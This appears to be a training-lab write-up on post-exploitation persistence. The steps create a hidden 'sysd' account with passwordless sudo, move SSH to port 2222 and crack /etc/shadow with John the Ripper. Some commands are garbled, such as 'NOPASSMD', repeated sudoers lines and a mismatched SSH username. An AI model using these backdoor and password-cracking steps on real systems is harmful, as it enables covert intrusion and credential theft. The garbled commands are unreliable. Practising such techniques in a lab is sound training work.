# **Advanced Bash - Owning the System**

### **Step 1: Shadow People**

<u>Create a secret user named sysd. Make sure this user doesn't have a home folder created:</u>

sudo useradd sysd --no-create-home

Give your secret user a password:

sudo passwd sysd

Give your secret user a system UID < 1000:

usermod -u 806 sysd | id -u sysd

Give your secret user the same GID:

groupmod -g 806 sysd | id -g sysd

Give your secret user full sudo access without the need for a password: sudo visudo

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GNU nano 2.9.3 /etc/sudoers.tmp

# User alias specification

# Cmnd alias specification

# User privilege specification

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# Members of the admin group may gain root privileges

%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command

%sudo ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

# Vagrant Privs for config

vagrant ALL=(ALL) NOPASSMD:ALL

sysadmin ALL=(ALL:ALL) /usr/bin/less
sysd ALL=(ALL) NOPASSWD:ALL

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sysd ALL=(ALL) NOPASSWD:ALL

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sysd ALL=(ALL) NOPASSWD:ALL
```

#### Test that sudo access works without your password:

sudo su -l

### Step 2: Smooth Sailing

Edit the sshd\_config file: sudo nano sshd\_config

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root@scavenger-hunt: /etc/ssh

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GNU nano 2.9.3 sshd_config Modified

# $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $

# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.

#PORT 22
port 2222
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

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```

## **Step 3: Testing Your Configuration Update**

Restart the SSH service:

sudo service ssh restart

Exit the root account:

exit

SSH to the target machine using your sysd account and port 2222: ssh sysadmin@192.168.6.105 -p 2222

Use sudo to switch to the root user:

sudo su

## **Step 4: Crack All the Passwords**

SSH back to the system using your sysd account and port 2222: ssh sysadmin@192.168.6.105 -p 2222

Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

john /etc/shadow >> hashed\_passwords.txt
cat hashed\_passwords.txt

